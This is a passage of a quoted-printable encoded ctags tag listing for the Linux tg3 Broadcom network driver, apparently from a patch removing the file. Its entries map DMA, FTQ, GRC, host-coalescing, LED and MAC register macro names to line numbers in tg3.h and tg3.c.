994;" d=0A= -CPU_STATE tg3.h 981;" d=0A= -CPU_WDOG_CLEAR tg3.h 987;" d=0A= -CPU_WDOG_PC tg3.h 989;" d=0A= -CPU_WDOG_SAVED_STATE tg3.h 992;" d=0A= -CPU_WDOG_VECTOR tg3.h 988;" d=0A= -DEFAULT_DMA_HIGH_WATER tg3.h 916;" d=0A= -DEFAULT_DMA_LOW_WATER tg3.h 914;" d=0A= -DEFAULT_MB_HIGH_WATER tg3.h 903;" d=0A= -DEFAULT_MB_HIGH_WATER_5705 tg3.h 904;" d=0A= -DEFAULT_MB_HIGH_WATER_JUMBO tg3.h 905;" d=0A= -DEFAULT_MB_MACRX_LOW_WATER tg3.h 899;" d=0A= -DEFAULT_MB_MACRX_LOW_WATER_5705 tg3.h 900;" d=0A= -DEFAULT_MB_MACRX_LOW_WATER_JUMBO tg3.h 901;" d=0A= -DEFAULT_MB_RDMA_LOW_WATER tg3.h 895;" d=0A= -DEFAULT_MB_RDMA_LOW_WATER_5705 tg3.h 896;" d=0A= -DEFAULT_MB_RDMA_LOW_WATER_JUMBO tg3.h 897;" d=0A= -DEFAULT_RXCOAL_MAXF_INT tg3.h 823;" d=0A= -DEFAULT_RXCOAL_TICK_INT tg3.h 819;" d=0A= -DEFAULT_RXCOL_TICKS tg3.h 804;" d=0A= -DEFAULT_RXMAX_FRAMES tg3.h 812;" d=0A= -DEFAULT_STAT_COAL_TICKS tg3.h 827;" d=0A= -DEFAULT_TXCOAL_MAXF_INT tg3.h 825;" d=0A= -DEFAULT_TXCOAL_TICK_INT tg3.h 821;" d=0A= -DEFAULT_TXCOL_TICKS tg3.h 808;" d=0A= -DEFAULT_TXMAX_FRAMES tg3.h 816;" d=0A= -DMAC_MODE tg3.h 1186;" d=0A= -DMAC_MODE_ENABLE tg3.h 1188;" d=0A= -DMAC_MODE_RESET tg3.h 1187;" d=0A= -DMA_RWCTRL_ASSERT_ALL_BE tg3.h 165;" d=0A= -DMA_RWCTRL_MIN_DMA tg3.h 139;" d=0A= -DMA_RWCTRL_MIN_DMA_SHIFT tg3.h 140;" d=0A= -DMA_RWCTRL_ONE_DMA tg3.h 159;" d=0A= -DMA_RWCTRL_PCI_READ_CMD tg3.h 166;" d=0A= -DMA_RWCTRL_PCI_READ_CMD_SHIFT tg3.h 167;" d=0A= -DMA_RWCTRL_PCI_WRITE_CMD tg3.h 168;" d=0A= -DMA_RWCTRL_PCI_WRITE_CMD_SHIFT tg3.h 169;" d=0A= -DMA_RWCTRL_READ_BNDRY_1024 tg3.h 149;" d=0A= -DMA_RWCTRL_READ_BNDRY_128 tg3.h 146;" d=0A= -DMA_RWCTRL_READ_BNDRY_16 tg3.h 143;" d=0A= -DMA_RWCTRL_READ_BNDRY_256 tg3.h 147;" d=0A= -DMA_RWCTRL_READ_BNDRY_32 tg3.h 144;" d=0A= -DMA_RWCTRL_READ_BNDRY_512 tg3.h 148;" d=0A= -DMA_RWCTRL_READ_BNDRY_64 tg3.h 145;" d=0A= -DMA_RWCTRL_READ_BNDRY_DISAB tg3.h 142;" d=0A= -DMA_RWCTRL_READ_BNDRY_MASK tg3.h 141;" d=0A= -DMA_RWCTRL_READ_WATER tg3.h 160;" d=0A= -DMA_RWCTRL_READ_WATER_SHIFT tg3.h 161;" d=0A= -DMA_RWCTRL_USE_MEM_READ_MULT tg3.h 164;" d=0A= -DMA_RWCTRL_WRITE_BNDRY_1024 tg3.h 158;" d=0A= -DMA_RWCTRL_WRITE_BNDRY_128 tg3.h 155;" d=0A= -DMA_RWCTRL_WRITE_BNDRY_16 tg3.h 152;" d=0A= -DMA_RWCTRL_WRITE_BNDRY_256 tg3.h 156;" d=0A= -DMA_RWCTRL_WRITE_BNDRY_32 tg3.h 153;" d=0A= -DMA_RWCTRL_WRITE_BNDRY_512 tg3.h 157;" d=0A= -DMA_RWCTRL_WRITE_BNDRY_64 tg3.h 154;" d=0A= -DMA_RWCTRL_WRITE_BNDRY_DISAB tg3.h 151;" d=0A= -DMA_RWCTRL_WRITE_BNDRY_MASK tg3.h 150;" d=0A= -DMA_RWCTRL_WRITE_WATER tg3.h 162;" d=0A= -DMA_RWCTRL_WRITE_WATER_SHIFT tg3.h 163;" d=0A= -DRV_MODULE_NAME tg3.c 57;" d file:=0A= -DRV_MODULE_RELDATE tg3.c 60;" d file:=0A= -DRV_MODULE_VERSION tg3.c 59;" d file:=0A= -DRV_STATE_START tg3.h 1385;" d=0A= -DRV_STATE_SUSPEND tg3.h 1388;" d=0A= -DRV_STATE_UNLOAD tg3.h 1386;" d=0A= -DRV_STATE_WOL tg3.h 1387;" d=0A= -DUPLEX_INVALID tg3.h 1792;" d=0A= -EEPROM_ADDR_ADDR_MASK tg3.h 1278;" d=0A= -EEPROM_ADDR_ADDR_SHIFT tg3.h 1279;" d=0A= -EEPROM_ADDR_CLKPERD_SHIFT tg3.h 1277;" d=0A= -EEPROM_ADDR_COMPLETE tg3.h 1272;" d=0A= -EEPROM_ADDR_DEVID_MASK tg3.h 1274;" d=0A= -EEPROM_ADDR_DEVID_SHIFT tg3.h 1275;" d=0A= -EEPROM_ADDR_FSM_RESET tg3.h 1273;" d=0A= -EEPROM_ADDR_READ tg3.h 1271;" d=0A= -EEPROM_ADDR_START tg3.h 1276;" d=0A= -EEPROM_ADDR_WRITE tg3.h 1270;" d=0A= -EEPROM_CHIP_SIZE tg3.h 1281;" d=0A= -EEPROM_DEFAULT_CLOCK_PERIOD tg3.h 1280;" d=0A= -FTQ_DMA_COMP_DISC_CTL tg3.h 1115;" d=0A= -FTQ_DMA_COMP_DISC_FIFO_ENQDEQ tg3.h 1117;" d=0A= -FTQ_DMA_COMP_DISC_FULL_CNT tg3.h 1116;" d=0A= -FTQ_DMA_COMP_DISC_WRITE_PEEK tg3.h 1118;" d=0A= -FTQ_DMA_HIGH_READ_CTL tg3.h 1111;" d=0A= -FTQ_DMA_HIGH_READ_FIFO_ENQDEQ tg3.h 1113;" d=0A= -FTQ_DMA_HIGH_READ_FULL_CNT tg3.h 1112;" d=0A= -FTQ_DMA_HIGH_READ_WRITE_PEEK tg3.h 1114;" d=0A= -FTQ_DMA_HIGH_WRITE_CTL tg3.h 1131;" d=0A= -FTQ_DMA_HIGH_WRITE_FIFO_ENQDEQ tg3.h 1133;" d=0A= -FTQ_DMA_HIGH_WRITE_FULL_CNT tg3.h 1132;" d=0A= -FTQ_DMA_HIGH_WRITE_WRITE_PEEK tg3.h 1134;" d=0A= -FTQ_DMA_NORM_READ_CTL tg3.h 1107;" d=0A= -FTQ_DMA_NORM_READ_FIFO_ENQDEQ tg3.h 1109;" d=0A= -FTQ_DMA_NORM_READ_FULL_CNT tg3.h 1108;" d=0A= -FTQ_DMA_NORM_READ_WRITE_PEEK tg3.h 1110;" d=0A= -FTQ_DMA_NORM_WRITE_CTL tg3.h 1127;" d=0A= -FTQ_DMA_NORM_WRITE_FIFO_ENQDEQ tg3.h 1129;" d=0A= -FTQ_DMA_NORM_WRITE_FULL_CNT tg3.h 1128;" d=0A= -FTQ_DMA_NORM_WRITE_WRITE_PEEK tg3.h 1130;" d=0A= -FTQ_HOST_COAL_CTL tg3.h 1143;" d=0A= -FTQ_HOST_COAL_FIFO_ENQDEQ tg3.h 1145;" d=0A= -FTQ_HOST_COAL_FULL_CNT tg3.h 1144;" d=0A= -FTQ_HOST_COAL_WRITE_PEEK tg3.h 1146;" d=0A= -FTQ_MAC_TX_CTL tg3.h 1147;" d=0A= -FTQ_MAC_TX_FIFO_ENQDEQ tg3.h 1149;" d=0A= -FTQ_MAC_TX_FULL_CNT tg3.h 1148;" d=0A= -FTQ_MAC_TX_WRITE_PEEK tg3.h 1150;" d=0A= -FTQ_MB_FREE_CTL tg3.h 1151;" d=0A= -FTQ_MB_FREE_FIFO_ENQDEQ tg3.h 1153;" d=0A= -FTQ_MB_FREE_FULL_CNT tg3.h 1152;" d=0A= -FTQ_MB_FREE_WRITE_PEEK tg3.h 1154;" d=0A= -FTQ_RCVBD_COMP_CTL tg3.h 1155;" d=0A= -FTQ_RCVBD_COMP_FIFO_ENQDEQ tg3.h 1157;" d=0A= -FTQ_RCVBD_COMP_FULL_CNT tg3.h 1156;" d=0A= -FTQ_RCVBD_COMP_WRITE_PEEK tg3.h 1158;" d=0A= -FTQ_RCVDATA_COMP_CTL tg3.h 1167;" d=0A= -FTQ_RCVDATA_COMP_FIFO_ENQDEQ tg3.h 1169;" d=0A= -FTQ_RCVDATA_COMP_FULL_CNT tg3.h 1168;" d=0A= -FTQ_RCVDATA_COMP_WRITE_PEEK tg3.h 1170;" d=0A= -FTQ_RCVDATA_INI_CTL tg3.h 1163;" d=0A= -FTQ_RCVDATA_INI_FIFO_ENQDEQ tg3.h 1165;" d=0A= -FTQ_RCVDATA_INI_FULL_CNT tg3.h 1164;" d=0A= -FTQ_RCVDATA_INI_WRITE_PEEK tg3.h 1166;" d=0A= -FTQ_RCVLST_PLMT_CTL tg3.h 1159;" d=0A= -FTQ_RCVLST_PLMT_FIFO_ENQDEQ tg3.h 1161;" d=0A= -FTQ_RCVLST_PLMT_FULL_CNT tg3.h 1160;" d=0A= -FTQ_RCVLST_PLMT_WRITE_PEEK tg3.h 1162;" d=0A= -FTQ_RESET tg3.h 1105;" d=0A= -FTQ_SEND_BD_COMP_CTL tg3.h 1119;" d=0A= -FTQ_SEND_BD_COMP_FIFO_ENQDEQ tg3.h 1121;" d=0A= -FTQ_SEND_BD_COMP_FULL_CNT tg3.h 1120;" d=0A= -FTQ_SEND_BD_COMP_WRITE_PEEK tg3.h 1122;" d=0A= -FTQ_SEND_DATA_COMP_CTL tg3.h 1139;" d=0A= -FTQ_SEND_DATA_COMP_FIFO_ENQDEQ tg3.h 1141;" d=0A= -FTQ_SEND_DATA_COMP_FULL_CNT tg3.h 1140;" d=0A= -FTQ_SEND_DATA_COMP_WRITE_PEEK tg3.h 1142;" d=0A= -FTQ_SEND_DATA_INIT_CTL tg3.h 1123;" d=0A= -FTQ_SEND_DATA_INIT_FIFO_ENQDEQ tg3.h 1125;" d=0A= -FTQ_SEND_DATA_INIT_FULL_CNT tg3.h 1124;" d=0A= -FTQ_SEND_DATA_INIT_WRITE_PEEK tg3.h 1126;" d=0A= -FTQ_SWTYPE1_CTL tg3.h 1135;" d=0A= -FTQ_SWTYPE1_FIFO_ENQDEQ tg3.h 1137;" d=0A= -FTQ_SWTYPE1_FULL_CNT tg3.h 1136;" d=0A= -FTQ_SWTYPE1_WRITE_PEEK tg3.h 1138;" d=0A= -FTQ_SWTYPE2_CTL tg3.h 1171;" d=0A= -FTQ_SWTYPE2_FIFO_ENQDEQ tg3.h 1173;" d=0A= -FTQ_SWTYPE2_FULL_CNT tg3.h 1172;" d=0A= -FTQ_SWTYPE2_WRITE_PEEK tg3.h 1174;" d=0A= -FWCMD_NICDRV_ALIVE tg3.h 1375;" d=0A= -FWCMD_NICDRV_FIX_DMAR tg3.h 1379;" d=0A= -FWCMD_NICDRV_FIX_DMAW tg3.h 1380;" d=0A= -FWCMD_NICDRV_IPV4ADDR_CHG tg3.h 1377;" d=0A= -FWCMD_NICDRV_IPV6ADDR_CHG tg3.h 1378;" d=0A= -FWCMD_NICDRV_PAUSE_FW tg3.h 1376;" d=0A= -GET_ASIC_REV tg3.h 121;" d=0A= -GET_CHIP_REV tg3.h 127;" d=0A= -GET_CHIP_REV_ID tg3.h 98;" d=0A= -GET_METAL_REV tg3.h 132;" d=0A= -GET_REG32_1 tg3.c 5850;" d file:=0A= -GET_REG32_1 tg3.c 5889;" d file:=0A= -GET_REG32_LOOP tg3.c 5845;" d file:=0A= -GET_REG32_LOOP tg3.c 5888;" d file:=0A= -GRCMBOX_GENERAL_0 tg3.h 1038;" d=0A= -GRCMBOX_GENERAL_1 tg3.h 1039;" d=0A= -GRCMBOX_GENERAL_2 tg3.h 1040;" d=0A= -GRCMBOX_GENERAL_3 tg3.h 1041;" d=0A= -GRCMBOX_GENERAL_4 tg3.h 1042;" d=0A= -GRCMBOX_GENERAL_5 tg3.h 1043;" d=0A= -GRCMBOX_GENERAL_6 tg3.h 1044;" d=0A= -GRCMBOX_GENERAL_7 tg3.h 1045;" d=0A= -GRCMBOX_HIGH_PRIO_EV_MASK tg3.h 1099;" d=0A= -GRCMBOX_HIGH_PRIO_EV_VECTOR tg3.h 1098;" d=0A= -GRCMBOX_INTERRUPT_0 tg3.h 1034;" d=0A= -GRCMBOX_INTERRUPT_1 tg3.h 1035;" d=0A= -GRCMBOX_INTERRUPT_2 tg3.h 1036;" d=0A= -GRCMBOX_INTERRUPT_3 tg3.h 1037;" d=0A= -GRCMBOX_LOW_PRIO_EV_MASK tg3.h 1101;" d=0A= -GRCMBOX_LOW_PRIO_EV_VEC tg3.h 1100;" d=0A= -GRCMBOX_RCVJUMBO_PROD_IDX tg3.h 1048;" d=0A= -GRCMBOX_RCVMINI_PROD_IDX tg3.h 1049;" d=0A= -GRCMBOX_RCVRET_CON_IDX_0 tg3.h 1050;" d=0A= -GRCMBOX_RCVRET_CON_IDX_1 tg3.h 1051;" d=0A= -GRCMBOX_RCVRET_CON_IDX_10 tg3.h 1060;" d=0A= -GRCMBOX_RCVRET_CON_IDX_11 tg3.h 1061;" d=0A= -GRCMBOX_RCVRET_CON_IDX_12 tg3.h 1062;" d=0A= -GRCMBOX_RCVRET_CON_IDX_13 tg3.h 1063;" d=0A= -GRCMBOX_RCVRET_CON_IDX_14 tg3.h 1064;" d=0A= -GRCMBOX_RCVRET_CON_IDX_15 tg3.h 1065;" d=0A= -GRCMBOX_RCVRET_CON_IDX_2 tg3.h 1052;" d=0A= -GRCMBOX_RCVRET_CON_IDX_3 tg3.h 1053;" d=0A= -GRCMBOX_RCVRET_CON_IDX_4 tg3.h 1054;" d=0A= -GRCMBOX_RCVRET_CON_IDX_5 tg3.h 1055;" d=0A= -GRCMBOX_RCVRET_CON_IDX_6 tg3.h 1056;" d=0A= -GRCMBOX_RCVRET_CON_IDX_7 tg3.h 1057;" d=0A= -GRCMBOX_RCVRET_CON_IDX_8 tg3.h 1058;" d=0A= -GRCMBOX_RCVRET_CON_IDX_9 tg3.h 1059;" d=0A= -GRCMBOX_RCVSTD_PROD_IDX tg3.h 1047;" d=0A= -GRCMBOX_RELOAD_STAT tg3.h 1046;" d=0A= -GRCMBOX_SNDHOST_PROD_IDX_0 tg3.h 1066;" d=0A= -GRCMBOX_SNDHOST_PROD_IDX_1 tg3.h 1067;" d=0A= -GRCMBOX_SNDHOST_PROD_IDX_10 tg3.h 1076;" d=0A= -GRCMBOX_SNDHOST_PROD_IDX_11 tg3.h 1077;" d=0A= -GRCMBOX_SNDHOST_PROD_IDX_12 tg3.h 1078;" d=0A= -GRCMBOX_SNDHOST_PROD_IDX_13 tg3.h 1079;" d=0A= -GRCMBOX_SNDHOST_PROD_IDX_14 tg3.h 1080;" d=0A= -GRCMBOX_SNDHOST_PROD_IDX_15 tg3.h 1081;" d=0A= -GRCMBOX_SNDHOST_PROD_IDX_2 tg3.h 1068;" d=0A= -GRCMBOX_SNDHOST_PROD_IDX_3 tg3.h 1069;" d=0A= -GRCMBOX_SNDHOST_PROD_IDX_4 tg3.h 1070;" d=0A= -GRCMBOX_SNDHOST_PROD_IDX_5 tg3.h 1071;" d=0A= -GRCMBOX_SNDHOST_PROD_IDX_6 tg3.h 1072;" d=0A= -GRCMBOX_SNDHOST_PROD_IDX_7 tg3.h 1073;" d=0A= -GRCMBOX_SNDHOST_PROD_IDX_8 tg3.h 1074;" d=0A= -GRCMBOX_SNDHOST_PROD_IDX_9 tg3.h 1075;" d=0A= -GRCMBOX_SNDNIC_PROD_IDX_0 tg3.h 1082;" d=0A= -GRCMBOX_SNDNIC_PROD_IDX_1 tg3.h 1083;" d=0A= -GRCMBOX_SNDNIC_PROD_IDX_10 tg3.h 1092;" d=0A= -GRCMBOX_SNDNIC_PROD_IDX_11 tg3.h 1093;" d=0A= -GRCMBOX_SNDNIC_PROD_IDX_12 tg3.h 1094;" d=0A= -GRCMBOX_SNDNIC_PROD_IDX_13 tg3.h 1095;" d=0A= -GRCMBOX_SNDNIC_PROD_IDX_14 tg3.h 1096;" d=0A= -GRCMBOX_SNDNIC_PROD_IDX_15 tg3.h 1097;" d=0A= -GRCMBOX_SNDNIC_PROD_IDX_2 tg3.h 1084;" d=0A= -GRCMBOX_SNDNIC_PROD_IDX_3 tg3.h 1085;" d=0A= -GRCMBOX_SNDNIC_PROD_IDX_4 tg3.h 1086;" d=0A= -GRCMBOX_SNDNIC_PROD_IDX_5 tg3.h 1087;" d=0A= -GRCMBOX_SNDNIC_PROD_IDX_6 tg3.h 1088;" d=0A= -GRCMBOX_SNDNIC_PROD_IDX_7 tg3.h 1089;" d=0A= -GRCMBOX_SNDNIC_PROD_IDX_8 tg3.h 1090;" d=0A= -GRCMBOX_SNDNIC_PROD_IDX_9 tg3.h 1091;" d=0A= -GRC_EEPROM_ADDR tg3.h 1269;" d=0A= -GRC_EEPROM_CTRL tg3.h 1283;" d=0A= -GRC_EEPROM_DATA tg3.h 1282;" d=0A= -GRC_LCLCTRL_AUTO_SEEPROM tg3.h 1258;" d=0A= -GRC_LCLCTRL_BANK_SELECT tg3.h 1256;" d=0A= -GRC_LCLCTRL_CLEARINT tg3.h 1235;" d=0A= -GRC_LCLCTRL_EXTMEM_ENABLE tg3.h 1247;" d=0A= -GRC_LCLCTRL_GPIO_INPUT0 tg3.h 1238;" d=0A= -GRC_LCLCTRL_GPIO_INPUT1 tg3.h 1239;" d=0A= -GRC_LCLCTRL_GPIO_INPUT2 tg3.h 1240;" d=0A= -GRC_LCLCTRL_GPIO_OE0 tg3.h 1241;" d=0A= -GRC_LCLCTRL_GPIO_OE1 tg3.h 1242;" d=0A= -GRC_LCLCTRL_GPIO_OE2 tg3.h 1243;" d=0A= -GRC_LCLCTRL_GPIO_OUTPUT0 tg3.h 1244;" d=0A= -GRC_LCLCTRL_GPIO_OUTPUT1 tg3.h 1245;" d=0A= -GRC_LCLCTRL_GPIO_OUTPUT2 tg3.h 1246;" d=0A= -GRC_LCLCTRL_INT_ACTIVE tg3.h 1234;" d=0A= -GRC_LCLCTRL_INT_ON_ATTN tg3.h 1237;" d=0A= -GRC_LCLCTRL_MEMSZ_16M tg3.h 1255;" d=0A= -GRC_LCLCTRL_MEMSZ_1M tg3.h 1251;" d=0A= -GRC_LCLCTRL_MEMSZ_256K tg3.h 1249;" d=0A= -GRC_LCLCTRL_MEMSZ_2M tg3.h 1252;" d=0A= -GRC_LCLCTRL_MEMSZ_4M tg3.h 1253;" d=0A= -GRC_LCLCTRL_MEMSZ_512K tg3.h 1250;" d=0A= -GRC_LCLCTRL_MEMSZ_8M tg3.h 1254;" d=0A= -GRC_LCLCTRL_MEMSZ_MASK tg3.h 1248;" d=0A= -GRC_LCLCTRL_SETINT tg3.h 1236;" d=0A= -GRC_LCLCTRL_SSRAM_TYPE tg3.h 1257;" d=0A= -GRC_LOCAL_CTRL tg3.h 1233;" d=0A= -GRC_MDI_CTRL tg3.h 1284;" d=0A= -GRC_MEM_POWER_UP tg3.h 1268;" d=0A= -GRC_MISC_CFG tg3.h 1216;" d=0A= -GRC_MISC_CFG_BOARD_ID_5700 tg3.h 1221;" d=0A= -GRC_MISC_CFG_BOARD_ID_5701 tg3.h 1222;" d=0A= -GRC_MISC_CFG_BOARD_ID_5702FE tg3.h 1223;" d=0A= -GRC_MISC_CFG_BOARD_ID_5703 tg3.h 1224;" d=0A= -GRC_MISC_CFG_BOARD_ID_5703S tg3.h 1225;" d=0A= -GRC_MISC_CFG_BOARD_ID_5704 tg3.h 1226;" d=0A= -GRC_MISC_CFG_BOARD_ID_5704CIOBE tg3.h 1227;" d=0A= -GRC_MISC_CFG_BOARD_ID_5704_A2 tg3.h 1228;" d=0A= -GRC_MISC_CFG_BOARD_ID_5788 tg3.h 1229;" d=0A= -GRC_MISC_CFG_BOARD_ID_5788M tg3.h 1230;" d=0A= -GRC_MISC_CFG_BOARD_ID_AC91002A1 tg3.h 1231;" d=0A= -GRC_MISC_CFG_BOARD_ID_MASK tg3.h 1220;" d=0A= -GRC_MISC_CFG_CORECLK_RESET tg3.h 1217;" d=0A= -GRC_MISC_CFG_KEEP_GPHY_POWER tg3.h 1232;" d=0A= -GRC_MISC_CFG_PRESCALAR_MASK tg3.h 1218;" d=0A= -GRC_MISC_CFG_PRESCALAR_SHIFT tg3.h 1219;" d=0A= -GRC_MODE tg3.h 1192;" d=0A= -GRC_MODE_4X_NIC_SEND_RINGS tg3.h 1214;" d=0A= -GRC_MODE_ALLOW_BAD_FRMS tg3.h 1201;" d=0A= -GRC_MODE_BSWAP_DATA tg3.h 1196;" d=0A= -GRC_MODE_BSWAP_NONFRM_DATA tg3.h 1194;" d=0A= -GRC_MODE_FORCE_PCI32BIT tg3.h 1204;" d=0A= -GRC_MODE_HOST_SENDBDS tg3.h 1206;" d=0A= -GRC_MODE_HOST_STACKUP tg3.h 1205;" d=0A= -GRC_MODE_INCL_CRC tg3.h 1200;" d=0A= -GRC_MODE_IRQ_ON_DMA_ATTN tg3.h 1212;" d=0A= -GRC_MODE_IRQ_ON_FLOW_ATTN tg3.h 1213;" d=0A= -GRC_MODE_IRQ_ON_MAC_ATTN tg3.h 1211;" d=0A= -GRC_MODE_IRQ_ON_RX_CPU_ATTN tg3.h 1210;" d=0A= -GRC_MODE_IRQ_ON_TX_CPU_ATTN tg3.h 1209;" d=0A= -GRC_MODE_MCAST_FRM_ENABLE tg3.h 1215;" d=0A= -GRC_MODE_NOFRM_CRACKING tg3.h 1199;" d=0A= -GRC_MODE_NOIRQ_ON_RCV tg3.h 1203;" d=0A= -GRC_MODE_NOIRQ_ON_SENDS tg3.h 1202;" d=0A= -GRC_MODE_NO_RX_PHDR_CSUM tg3.h 1208;" d=0A= -GRC_MODE_NO_TX_PHDR_CSUM tg3.h 1207;" d=0A= -GRC_MODE_SPLITHDR tg3.h 1198;" d=0A= -GRC_MODE_UPD_ON_COAL tg3.h 1193;" d=0A= -GRC_MODE_WSWAP_DATA tg3.h 1197;" d=0A= -GRC_MODE_WSWAP_NONFRM_DATA tg3.h 1195;" d=0A= -GRC_REMOTE_RX_CPU_ATTN tg3.h 1263;" d=0A= -GRC_REMOTE_TX_CPU_ATTN tg3.h 1267;" d=0A= -GRC_RX_CPU_EVENT tg3.h 1260;" d=0A= -GRC_RX_CPU_SEM tg3.h 1262;" d=0A= -GRC_RX_TIMER_REF tg3.h 1261;" d=0A= -GRC_SEEPROM_DELAY tg3.h 1285;" d=0A= -GRC_TIMER tg3.h 1259;" d=0A= -GRC_TX_CPU_EVENT tg3.h 1264;" d=0A= -GRC_TX_CPU_SEM tg3.h 1266;" d=0A= -GRC_TX_TIMER_REF tg3.h 1265;" d=0A= -HIGH_RXCOL_TICKS tg3.h 805;" d=0A= -HIGH_RXMAX_FRAMES tg3.h 813;" d=0A= -HIGH_TXCOL_TICKS tg3.h 809;" d=0A= -HIGH_TXMAX_FRAMES tg3.h 817;" d=0A= -HOSTCC_FLOW_ATTN tg3.h 833;" d=0A= -HOSTCC_JUMBO_CON_IDX tg3.h 835;" d=0A= -HOSTCC_MINI_CON_IDX tg3.h 837;" d=0A= -HOSTCC_MODE tg3.h 788;" d=0A= -HOSTCC_MODE_32BYTE tg3.h 795;" d=0A= -HOSTCC_MODE_64BYTE tg3.h 794;" d=0A= -HOSTCC_MODE_ATTN tg3.h 791;" d=0A= -HOSTCC_MODE_CLRTICK_RXBD tg3.h 796;" d=0A= -HOSTCC_MODE_CLRTICK_TXBD tg3.h 797;" d=0A= -HOSTCC_MODE_ENABLE tg3.h 790;" d=0A= -HOSTCC_MODE_FULL_STATUS tg3.h 793;" d=0A= -HOSTCC_MODE_NOINT_ON_FORCE tg3.h 799;" d=0A= -HOSTCC_MODE_NOINT_ON_NOW tg3.h 798;" d=0A= -HOSTCC_MODE_NOW tg3.h 792;" d=0A= -HOSTCC_MODE_RESET tg3.h 789;" d=0A= -HOSTCC_RET_PROD_IDX_0 tg3.h 839;" d=0A= -HOSTCC_RET_PROD_IDX_1 tg3.h 840;" d=0A= -HOSTCC_RET_PROD_IDX_10 tg3.h 849;" d=0A= -HOSTCC_RET_PROD_IDX_11 tg3.h 850;" d=0A= -HOSTCC_RET_PROD_IDX_12 tg3.h 851;" d=0A= -HOSTCC_RET_PROD_IDX_13 tg3.h 852;" d=0A= -HOSTCC_RET_PROD_IDX_14 tg3.h 853;" d=0A= -HOSTCC_RET_PROD_IDX_15 tg3.h 854;" d=0A= -HOSTCC_RET_PROD_IDX_2 tg3.h 841;" d=0A= -HOSTCC_RET_PROD_IDX_3 tg3.h 842;" d=0A= -HOSTCC_RET_PROD_IDX_4 tg3.h 843;" d=0A= -HOSTCC_RET_PROD_IDX_5 tg3.h 844;" d=0A= -HOSTCC_RET_PROD_IDX_6 tg3.h 845;" d=0A= -HOSTCC_RET_PROD_IDX_7 tg3.h 846;" d=0A= -HOSTCC_RET_PROD_IDX_8 tg3.h 847;" d=0A= -HOSTCC_RET_PROD_IDX_9 tg3.h 848;" d=0A= -HOSTCC_RXCOAL_MAXF_INT tg3.h 822;" d=0A= -HOSTCC_RXCOAL_TICK_INT tg3.h 818;" d=0A= -HOSTCC_RXCOL_TICKS tg3.h 802;" d=0A= -HOSTCC_RXMAX_FRAMES tg3.h 810;" d=0A= -HOSTCC_SND_CON_IDX_0 tg3.h 855;" d=0A= -HOSTCC_SND_CON_IDX_1 tg3.h 856;" d=0A= -HOSTCC_SND_CON_IDX_10 tg3.h 865;" d=0A= -HOSTCC_SND_CON_IDX_11 tg3.h 866;" d=0A= -HOSTCC_SND_CON_IDX_12 tg3.h 867;" d=0A= -HOSTCC_SND_CON_IDX_13 tg3.h 868;" d=0A= -HOSTCC_SND_CON_IDX_14 tg3.h 869;" d=0A= -HOSTCC_SND_CON_IDX_15 tg3.h 870;" d=0A= -HOSTCC_SND_CON_IDX_2 tg3.h 857;" d=0A= -HOSTCC_SND_CON_IDX_3 tg3.h 858;" d=0A= -HOSTCC_SND_CON_IDX_4 tg3.h 859;" d=0A= -HOSTCC_SND_CON_IDX_5 tg3.h 860;" d=0A= -HOSTCC_SND_CON_IDX_6 tg3.h 861;" d=0A= -HOSTCC_SND_CON_IDX_7 tg3.h 862;" d=0A= -HOSTCC_SND_CON_IDX_8 tg3.h 863;" d=0A= -HOSTCC_SND_CON_IDX_9 tg3.h 864;" d=0A= -HOSTCC_STATS_BLK_HOST_ADDR tg3.h 829;" d=0A= -HOSTCC_STATS_BLK_NIC_ADDR tg3.h 831;" d=0A= -HOSTCC_STATUS tg3.h 800;" d=0A= -HOSTCC_STATUS_BLK_HOST_ADDR tg3.h 830;" d=0A= -HOSTCC_STATUS_BLK_NIC_ADDR tg3.h 832;" d=0A= -HOSTCC_STATUS_ERROR_ATTN tg3.h 801;" d=0A= -HOSTCC_STAT_COAL_TICKS tg3.h 826;" d=0A= -HOSTCC_STD_CON_IDX tg3.h 836;" d=0A= -HOSTCC_TXCOAL_MAXF_INT tg3.h 824;" d=0A= -HOSTCC_TXCOAL_TICK_INT tg3.h 820;" d=0A= -HOSTCC_TXCOL_TICKS tg3.h 806;" d=0A= -HOSTCC_TXMAX_FRAMES tg3.h 814;" d=0A= -KNOWN_PHY_ID tg3.h 1987;" d=0A= -LED_CTRL_1000MBPS_ON tg3.h 324;" d=0A= -LED_CTRL_1000MBPS_STATUS tg3.h 330;" d=0A= -LED_CTRL_100MBPS_ON tg3.h 325;" d=0A= -LED_CTRL_100MBPS_STATUS tg3.h 331;" d=0A= -LED_CTRL_10MBPS_ON tg3.h 326;" d=0A= -LED_CTRL_10MBPS_STATUS tg3.h 332;" d=0A= -LED_CTRL_BLINK_PER_OVERRIDE tg3.h 339;" d=0A= -LED_CTRL_BLINK_RATE_MASK tg3.h 337;" d=0A= -LED_CTRL_BLINK_RATE_OVERRIDE tg3.h 340;" d=0A= -LED_CTRL_BLINK_RATE_SHIFT tg3.h 338;" d=0A= -LED_CTRL_LNKLED_OVERRIDE tg3.h 323;" d=0A= -LED_CTRL_MAC_MODE tg3.h 334;" d=0A= -LED_CTRL_PHY_MODE_1 tg3.h 335;" d=0A= -LED_CTRL_PHY_MODE_2 tg3.h 336;" d=0A= -LED_CTRL_TRAFFIC_BLINK tg3.h 328;" d=0A= -LED_CTRL_TRAFFIC_LED tg3.h 329;" d=0A= -LED_CTRL_TRAFFIC_OVERRIDE tg3.h 327;" d=0A= -LED_CTRL_TRAFFIC_STATUS tg3.h 333;" d=0A= -LOW_RXCOL_TICKS tg3.h 803;" d=0A= -LOW_RXMAX_FRAMES tg3.h 811;" d=0A= -LOW_TXCOL_TICKS tg3.h 807;" d=0A= -LOW_TXMAX_FRAMES tg3.h 815;" d=0A= -LPA_PAUSE_ASYM tg3.h 1464;" d=0A= -LPA_PAUSE_CAP tg3.h 1461;" d=0A= -MAC_ACPI_LEN_OFFSET tg3.h 350;" d=0A= -MAC_ACPI_MBUF_PTR tg3.h 349;" d=0A= -MAC_ADDR_0_HIGH tg3.h 341;" d=0A= -MAC_ADDR_0_LOW tg3.h 342;" d=0A= -MAC_ADDR_1_HIGH tg3.h 343;" d=0A= -MAC_ADDR_1_LOW tg3.h 344;" d=0A= -MAC_ADDR_2_HIGH tg3.h 345;" d=0A= -MAC_ADDR_2_LOW tg3.h 346;" d=0A= -MAC_ADDR_3_HIGH tg3.h 347;" d=0A= -MAC_ADDR_3_LOW tg3.h 348;" d=0A= -MAC_AUTO_POLL_ERROR tg3.h 390;" d=0A= -MAC_AUTO_POLL_STATUS tg3.h 389;" d=0A= -MAC_EVENT tg3.h 313;" d=0A= -MAC_EVENT_AP_ERROR tg3.h 318;" 